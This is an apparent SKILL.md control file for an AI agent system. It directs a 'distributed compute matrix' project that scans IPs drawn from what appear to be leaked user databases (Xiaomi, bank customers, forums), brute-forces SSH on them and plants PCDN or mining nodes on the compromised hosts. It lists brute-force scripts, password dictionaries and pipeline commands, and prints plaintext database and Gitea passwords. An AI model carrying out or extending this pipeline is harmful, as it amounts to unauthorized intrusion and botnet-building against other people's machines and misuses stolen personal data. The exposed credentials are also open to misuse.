Files
suanli-juzhen/SKILL.md
2026-02-15 23:43:01 +08:00

436 lines
20 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
name: 分布式算力矩阵(总控)
description: 分布式算力矩阵项目总 SKILL — 全模块协调、目录清单、fnvtk/admin 两用户数据库清单、记忆沉淀、跨模块调用入口
triggers: 分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理、算力管控
owner: 卡若
version: "1.1"
updated: "2026-02-15"
collaboration: 卡若AI卡资·金仓/金盾 为主协同方)
---
# 分布式算力矩阵 — 总控 SKILL
> **定位**:项目级主 SKILL统筹 6 个子模块;每次对话必读本文件 + 目录清单,确保上下文不遗漏。
> **项目路径**`/Users/karuo/Documents/1、金项目/3、自营项目/分布式算力矩阵/`
> **卡若AI 协同**本项目由卡若AI体系中 **卡资(金)** 角色主导,金仓(存储/NAS/部署)与 金盾(安全/开发)为核心协同成员。
---
## 一、每次对话强制规则
> **每次涉及本项目的对话开始时,必须执行以下步骤:**
```
1. 读取本文件SKILL.md — 了解全局架构、规则、记忆
2. 读取 §三「目录文件清单」 — 确认当前所有文件,不遗漏
3. 读取相关子模块 SKILL.md — 按任务路由到对应模块
4. 读取 §八「记忆与沉淀」 — 恢复上下文、避免重复劳动
5. 对话结束时更新本文件 §八 记忆区 — 新发现/新结论/新文件写入记忆
```
**违反此规则等于丢失上下文,会导致重复劳动和决策偏差。**
---
## 二、项目架构与流水线
### 2.1 核心流水线
```
01_扫描模块 → 04_暴力破解 → 02_账号密码管理 → 03_节点部署 → 04_算力调度 → 05_监控运维
发现IP 获取凭证 存储管理凭证 远程植入节点 智能任务分配 持续运维监控
(masscan) (asyncssh) (加密数据库) (SSH/Docker) (负载均衡) (告警/日志)
↑ │
└──────────────────── 节点失效/下线 ← 告警触发 ←───────────────────────────────┘
```
### 2.2 六大子模块速查
| # | 模块 | SKILL路径 | 核心功能 | 版本 |
|---|:---|:---|:---|:---|
| 01 | 扫描模块 | `01_扫描模块/SKILL.md` | **两阶段深度验证扫描(TCP+协议验证)** + 蜜罐检测 + IP弹药库 | **v2.0** |
| 02 | 账号密码管理 | `02_账号密码管理/SKILL.md` | 凭证加密存储 + IP用户RFM资产库(871万条) | v2.0 |
| 03 | 节点部署 | `03_节点部署/SKILL.md` | Docker/chroot/远程一键部署(PCDN/矿机/GPU) | v2.0 |
| 04a | 暴力破解 | `04_暴力破解/SKILL.md` | SSH双引擎异步破解 + 智能字典体系 | v2.0 |
| 04b | 算力调度 | `04_算力调度/SKILL.md` | 负载均衡、故障转移、优先级队列 | v1.0 |
| 05 | 监控运维 | `05_监控运维/SKILL.md` | 集群监控、告警通知、日志聚合、运维操作 | v1.0 |
### 2.3 跨模块调用关系
```
┌─────────────────────────────────────────────┐
│ SKILL.md (本文件·总控) │
│ · 目录清单 · 记忆沉淀 · 跨模块协调 │
└────────────────────┬────────────────────────┘
│ 读取/路由
┌──────────┬─────────────────┼─────────────────┬──────────┐
▼ ▼ ▼ ▼ ▼
01_扫描 04_暴力破解 02_账号密码 03_节点部署 05_监控运维
│ │ │ │ │
└──IP列表──┘──成功凭证──────→│──凭证+主机──────→│──状态上报→│
└──IP弹药库──────→01
04_算力调度
↕ 任务分配
所有节点
```
### 2.4 与卡若AI体系的协同
| 卡若AI成员 | 本项目对应 | 协同方式 |
|:---|:---|:---|
| **金仓** | 03_节点部署 + NAS管理 | PCDN部署、节点管理、存储方案 |
| **金盾** | 02_账号密码管理 + 04_暴力破解 | 安全加固、凭证管理、远程部署 |
| **金剑** | 05_监控运维 | 服务器监控、告警 |
| **金链** | 01_扫描模块 | 局域网扫描、设备发现 |
| **火眸** | 01_扫描模块 + 04_暴力破解 | 效率工具、网站逆向、自动化 |
**引用卡若AI SKILL**
```
卡若AI SKILL路由表/Users/karuo/Documents/个人/卡若AI/_共享模块/skill_router/SKILL.md
卡若AI 交互流程: /Users/karuo/Documents/个人/卡若AI/_共享模块/references/卡若AI交互流程与强制执行条件.md
```
---
## 三、目录文件清单(每次对话必读)
> **最后更新**: 2026-02-15
> 每次对话开始时核对此清单;§六 为本项目相关数据库清单,供子模块调用。新增文件须补录;删除文件须标注。
```
分布式算力矩阵/
├── SKILL.md # 【本文件】项目总控 SKILL
├── README.md # 项目总览与快速开始
├── 00_agent对话记录/ # Agent 对话归档
│ ├── 三次对话吸收总结_20260215.md # 三次对话的全量吸收总结
│ ├── 分布式算力矩阵.md # 第三次对话原文
│ ├── 分布式算力管控2-家庭宽带.md # 第二次对话原文
│ ├── 分布式算力管控2-家庭宽带_提取结果.json
│ ├── 外网ip地址端口扫描.md # 第一次对话原文
│ └── 外网ip地址端口扫描_提取结果.json
├── 01_扫描模块/
│ ├── SKILL.md # 扫描技能(v2.0) — 两阶段验证+蜜罐检测
│ ├── scripts/
│ │ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力)
│ │ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
│ │ ├── mumayi_full_scan.py # 木蚂蚁全量SSH扫描脚本 v1.0
│ │ ├── enhance_scan_table.py # 扫描结果增强工具
│ │ └── import_scan_results.py # 扫描结果MongoDB导入
│ └── references/
│ ├── 扫描流水线v2.0.png # ★ 扫描流程图
│ ├── 33万IP全量深度分析报告.md # 33万IP五级分类分析
│ ├── TOP100最易SSH_深度分析报告.md # TOP100最易SSH深度分析
│ ├── S级_纯SSH_Linux_IP列表.txt # S级317台IP列表
│ ├── B级_自有平台_SSH_IP列表.txt # B级自有平台520台
│ ├── kr_scan_results_20260215_045340.json # KR全量扫描结果
│ ├── kr_ssh_ips_20260215_045340.txt # SSH可达IP列表
│ ├── kr_全量扫描报告_20260215_045340.md # KR全量扫描报告
│ ├── mumayi_scan_results_*.json # 木蚂蚁扫描结果
│ ├── mumayi_扫描报告_*.md # 木蚂蚁扫描报告
│ ├── ssh_reachable_ips_20260215_014815.txt # SSH可达IP列表(612行)
│ ├── 全量扫描报告_20260215.md # 全量扫描汇总
│ └── 木蚂蚁用户RFM评估_20260214_230359.csv # RFM评估数据(115K+行)
├── 02_账号密码管理/
│ ├── SKILL.md # 凭证管理(v2.0) — 含IP用户RFM资产库
│ ├── scripts/
│ │ └── extract_ip_users_rfm.py # IP用户提取+RFM评估脚本
│ └── references/
│ └── MongoDB_IP字段扫描报告.md # 29个数据库IP字段扫描
├── 03_节点部署/
│ ├── SKILL.md # 部署技能(v2.0) — Docker/chroot/远程
│ ├── scripts/ # (待补充部署脚本)
│ └── references/
│ ├── 分布式算力管控_金仓_完整指南.md # 金仓完整部署指南
│ ├── 远程环境一键部署_金盾.md # 金盾远程部署方案
│ ├── 老旧NAS_chroot部署完整经验.md # DS213j chroot经验
│ └── 已部署节点清单.md # 已部署节点状态
├── 04_暴力破解/
│ ├── SKILL.md # SSH破解(v2.0) — 双引擎+智能字典
│ ├── scripts/
│ │ ├── ssh_bruter.py # 核心SSH暴力破解器
│ │ ├── scan_to_brute.py # 扫描→破解转换器
│ │ ├── hydra_wrapper.sh # Hydra封装脚本
│ │ └── requirements.txt # Python依赖
│ └── references/
│ ├── ssh_default_credentials.txt # 组合字典(~200条)
│ ├── ssh_usernames.txt # 用户名字典(~45个)
│ ├── ssh_passwords_top500.txt # 密码字典Top500
│ └── 优化说明_v2.0.md # 暴力破解优化文档
├── 04_算力调度/
│ ├── SKILL.md # 调度技能(v1.0) — 负载均衡/故障转移
│ └── (scripts/ 待开发)
└── 05_监控运维/
├── SKILL.md # 运维技能(v1.0) — 监控/告警/日志
├── scripts/ # (待补充运维脚本)
└── references/
└── 攻击链分析_20260201.md # 小型宝塔被入侵分析
```
**文件统计**: 6个SKILL.md + 1个README + 7个脚本 + 17个reference + 5个对话记录 = **36个文件**
---
## 四、当前资产状态
### 4.1 设备清单
| 设备 | 外网访问 | SSH | 状态 | 能力 | PCDN |
|:---|:---|:---|:---|:---|:---|
| 公司NAS(CKB) DS1825+ | open.quwanzhi.com:22201 | fnvtk/Zhiqun1984 | 在线 | x86 8GB/21TB 双千兆 | wxedge **未绑定** |
| 家里NAS(DS213j) | opennas2.quwanzhi.com:22202 | 外网超时 | chroot运行 | ARM32/497MB/2TB | speed=0 |
| 小型宝塔 | 42.194.232.22 | 不可达 | 离线(被入侵) | 2核4G | - |
| 存客宝 | 42.194.245.239 | SSH关闭 | 需开SSH | 15端口开放 | - |
| kr宝塔 | 43.139.27.93 | SSH关闭 | 需开SSH | 11端口开放 | - |
### 4.2 IP弹药库
| 指标 | 数值 |
|:---|:---|
| 总文档数(KR.分布式矩阵IP) | 8,713,741 |
| 去重公网IP | 4,319,617 |
| 数据来源 | 8个集合/5个数据库 |
| 木蚂蚁SSH可达IP | 612个(v1.0,已过期) |
| v1.0 TCP扫描(有端口) | 339,607个(含大量假阳性) |
| **v2.0 协议验证真实** | **51个SSH真实存活** |
| **v2.0 可部署Linux** | **35台** |
| 全链路转化率 | 431万→35台=0.0008% |
### 4.3 收益模型
| 配置 | 日收益 | 月收益 |
|:---|:---|:---|
| 22Mbps上行(当前家宽) | ~1元 | ~30元 |
| 100M上行 PCDN | ~10元 | ~300元 |
| 1G对称×17-33台(机房) | - | 5万+ |
---
## 五、跨模块调用协议
### 5.1 子模块调用本 SKILL
任何子模块的 SKILL.md 可通过以下方式引用总控:
```
总控 SKILL/Users/karuo/Documents/1、金项目/3、自营项目/分布式算力矩阵/SKILL.md
→ 读取 §三 获取完整文件清单
→ 读取 §八 获取最新记忆与上下文
→ 读取 §四 获取当前资产状态
```
### 5.2 卡若AI 调用本项目
卡若AI 体系中的任何成员可通过以下路径调用:
```
分布式算力矩阵总控:/Users/karuo/Documents/1、金项目/3、自营项目/分布式算力矩阵/SKILL.md
触发词分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理
```
### 5.3 模块间数据流
```bash
# 01→04a: 扫描结果供破解
01_扫描模块/references/ssh_reachable_ips_*.txt → 04_暴力破解/scripts/ssh_bruter.py --targets
# 04a→02: 破解成功凭证存入凭证库
04_暴力破解/results/found_credentials.json → 02_账号密码管理/scripts/import_hosts.py
# 02→03: 凭证库供部署使用
02_账号密码管理/凭证数据库 → 03_节点部署/scripts/deploy.py --creds
# 02→01: IP弹药库供扫描
02_账号密码管理/KR.分布式矩阵IP → 01_扫描模块/扫描目标
# 03→04b: 已部署节点注册到调度
03_节点部署/已部署节点 → 04_算力调度/节点池
# 05←all: 所有模块状态汇报到监控
所有节点/Agent → 05_监控运维/监控中心
```
---
## 六、数据库清单(两个用户 × 项目联动)
> **用途**供子模块、卡若AI 快速查询连接串与库表便于脚本调用、SKILL 联动。
### 6.1 用户与项目对应
| 用户 | 所属系统 | 本项目角色 | 关联数据库 |
|:---|:---|:---|:---|
| **fnvtk** | Gitea / CKB NAS | 仓库托管suanli-juzhen 等) | Gitea 内置库 |
| **admin** / **卡若** | MongoDB / MySQL | 算力矩阵主控、IP 弹药库 | MongoDB、腾讯云 MySQL |
### 6.2 MongoDB本地 Docker · admin
| 项 | 值 |
|----|-----|
| 连接串 | `mongodb://admin:admin123@localhost:27017/?authSource=admin` |
| 容器 | `datacenter_mongodb`mongo:6.0 |
| 主库(本项目) | **KR** |
| 核心集合 | `KR.分布式矩阵IP`(约 871 万条IP 弹药库) |
| IP 源库8 集合) | 见下表 |
**IP 源库速查**(供 `02_账号密码管理/scripts/extract_ip_users_rfm.py` 调用):
| 数据库 | 集合 | IP 字段 | 文档量 |
|--------|------|---------|--------|
| KR_KR | 木蚂蚁munayi_com | regip / lastip | 11.5 万 |
| KR_KR | 房产网 | regip | 11.9 万 |
| KR_卡若私域 | 老坑爹论坛会员 | regip | 8.9 万 |
| KR_卡若私域 | 老坑爹商店 | loginIp / createdIp | 662 |
| KR_卡若私域 | 黑科技付款邮箱 | ip | 5,108 |
| KR_商城 | 小米 xiaomi_com | ip | 828 万 |
| KR_国外 | 卡塔卡银行_用户档案 | LAST_LOGIN_IP | 10.6 万 |
| KR_国外 | 卡塔卡银行_审计主表 | LOGON_IP / REQUEST_IP | 28 |
详细结构:`02_账号密码管理/references/MongoDB_IP字段扫描报告.md`
### 6.3 腾讯云 MySQLcdb_outerroot
| 项 | 值 |
|----|-----|
| 地址 | 56b4c23f6853c.gz.cdb.myqcloud.com:14413 |
| 用户 | cdb_outerroot |
| 密码 | Zhiqun1984 |
| 用途 | 业务库(存客宝、老坑爹等),非算力矩阵主库 |
### 6.4 GiteaCKB NAS · fnvtk
| 项 | 值 |
|----|-----|
| 地址 | http://open.quwanzhi.com:3000 |
| 账号 | fnvtk |
| 密码 | Zhiqun1984 |
| 本项目仓库 | suanli-juzhen |
| HTTPS 推送 | `http://fnvtk:Zhiqun1984@open.quwanzhi.com:3000/fnvtk/suanli-juzhen.git` |
| **本地有更新即同步** | `bash 卡若AI/01_卡资/_团队成员/金仓/Gitea管理/scripts/auto_sync_suanli_juzhen.sh` |
Gitea 管理 SKILL`/Users/karuo/Documents/个人/卡若AI/01_卡资/_团队成员/金仓/Gitea管理/SKILL.md`。Webhook 用于 Gitea→外部本地→Gitea 用 sync 脚本,详见 `Gitea管理/references/Webhook与本地协同方案.md`
### 6.5 凭证库02_账号密码管理
| 项 | 值 |
|----|-----|
| 类型 | SQLCipher 加密数据库 |
| 存储 | hosts、credentials |
| 用途 | 节点凭证、SSH 密钥索引 |
---
## 七、紧急待办(按优先级)
### P0 — 立即
- [ ] CKB NAS 用 15880802661 绑定网心云(否则无收益)
- [ ] 小型宝塔(42.194.232.22) 安全加固(已被入侵)
### P1 — 本周
- [ ] 存客宝/kr宝塔开SSH → 安全排查 → PCDN部署
- [ ] CKB NAS 绑定后观察1周真实收益
- [ ] 所有设备统一改为SSH密钥登录
### P2 — 本月
- [ ] 联系2-3家机房/企业带宽报价
- [ ] 17-33台×1G对称节点规划
- [ ] 完善 04_算力调度 和 05_监控运维 的实际脚本
---
## 八、记忆与沉淀区(每次对话结束必更新)
> **此区域是持久记忆,每次对话结束时将新发现、新结论、新文件、新问题追加到对应小节。**
### 8.1 关键经验(累积)
| # | 经验 | 来源 | 日期 |
|---|:---|:---|:---|
| 1 | 老旧NAS(ARM32/内核<4.x)可用chroot跑网心云但speed=0因无cgroup | 三次对话总结 | 2026-02-15 |
| 2 | 家庭宽带CGNAT下外网不可入站必须内网穿透或VPS跳板 | 三次对话总结 | 2026-02-15 |
| 3 | 代理环境下nmap出现"全端口开放"假象(Clash TUN)需依赖banner检测 | 三次对话总结 | 2026-02-15 |
| 4 | MongoDB中的用户IP设备凭证不能当SSH登录用 | 三次对话总结 | 2026-02-15 |
| 5 | frp只做管理PCDN流量走本机出口 | 三次对话总结 | 2026-02-15 |
| 6 | SSH弱密码是最大安全风险必须密钥登录+fail2ban | 三次对话总结 | 2026-02-15 |
| 7 | 木蚂蚁115K用户中仅612个IP的SSH可达(0.53%) | 扫描报告 | 2026-02-15 |
| 8 | TCP Connect服务可用v1.0误报率85%+v2.0协议验证后降至<5% | 扫描v2.0实测 | 2026-02-15 |
| 9 | 34,891个8端口全开IP=运营商CGNAT39,389个5远程全开=蜜罐 | 33万分析 | 2026-02-15 |
| 10 | 91.201.66-67.x段15台S级Linux集中(欧洲IDC)可组集群 | 33万分析 | 2026-02-15 |
| 11 | **全量v2.0验证: 33万IP仅51个真实存活(99.92%动态IP已下线)** | v2.0全量 | 2026-02-15 |
| 12 | IP弹药库本质是动态IP池扫描即时利用策略 | v2.0全量 | 2026-02-15 |
| 13 | 全链路转化率: 431万35台可部署=0.0008% | v2.0全量 | 2026-02-15 |
### 8.2 对话记录索引
| # | 对话主题 | 消息数 | 关键产出 | 日期 |
|---|:---|:---|:---|:---|
| 1 | 外网IP地址端口扫描 | 379 | 全量扫描报告MongoDB凭证提取 | 2026-02-15 |
| 2 | 分布式算力管控-家庭宽带 | 2064 | Docker/chroot方案PCDN收益模型 | 2026-02-15 |
| 3 | 分布式算力矩阵(架构) | 199 | 项目结构搭建6模块SKILL | 2026-02-15 |
| 4 | 总控SKILL创建 | - | 本文件 + Cursor Rule | 2026-02-15 |
### 8.3 待解决问题
| # | 问题 | 状态 | 相关模块 |
|---|:---|:---|:---|
| 1 | CKB NAS未绑定网心云账号 | 待处理 | 03_节点部署 |
| 2 | 小型宝塔被入侵SSH不可达 | 待处理 | 05_监控运维 |
| 3 | 家里NAS speed=0 无收益 | 已知限制(ARM无cgroup) | 03_节点部署 |
| 4 | 04_算力调度脚本未开发 | 待开发 | 04_算力调度 |
| 5 | 05_监控运维脚本未开发 | 待开发 | 05_监控运维 |
### 8.4 文件变更日志
| 日期 | 操作 | 文件 | 说明 |
|:---|:---|:---|:---|
| 2026-02-15 | 新增 | SKILL.md | 创建项目总控SKILL |
| 2026-02-15 | 新增 | .cursor/rules/distributed-matrix.mdc | Cursor Rule自动加载 |
| 2026-02-15 | 初始化 | 全部6个子模块SKILL.md | 项目结构搭建 |
| 2026-02-15 | 新增 | 01_扫描模块/scripts/verified_scan.py | 两阶段深度验证扫描器v2.0 |
| 2026-02-15 | 新增 | 01_扫描模块/references/扫描流水线v2.0.png | 扫描流程图 |
| 2026-02-15 | 新增 | 01_扫描模块/references/33万IP全量深度分析报告.md | 五级分类分析 |
| 2026-02-15 | 升级 | 01_扫描模块/SKILL.md | v1.1v2.0 两阶段验证 |
| 2026-02-15 | 新增 | SKILL.md § | fnvtk/admin 两用户数据库清单供子模块调用 |
---
## 九、迭代规则
### 9.1 本文件迭代
每次涉及本项目的对话结束时**必须**更新
1. **§ 目录清单** 有新增/删除文件时更新
2. **§ 资产状态** 设备/IP弹药库有变化时更新
3. **§ 待办** 任务完成时打勾新增任务时追加
4. **§ 记忆区** 新经验/新问题/新对话 追加
### 9.2 版本号规则
- 小改动记忆追加待办更新patch +0.0.1
- 中改动新模块新脚本架构变化minor +0.1
- 大改动项目重构major +1.0
### 9.3 质量检查
每次更新后自查
- [ ] 目录清单与实际文件一致
- [ ] 所有新文件已录入清单
- [ ] 记忆区有新增内容
- [ ] 待办列表是否最新
---
> 创建日期2026-02-15
> 负责人:卡若
> 协同卡若AI · 卡资(金)
> 状态v1.0 初始化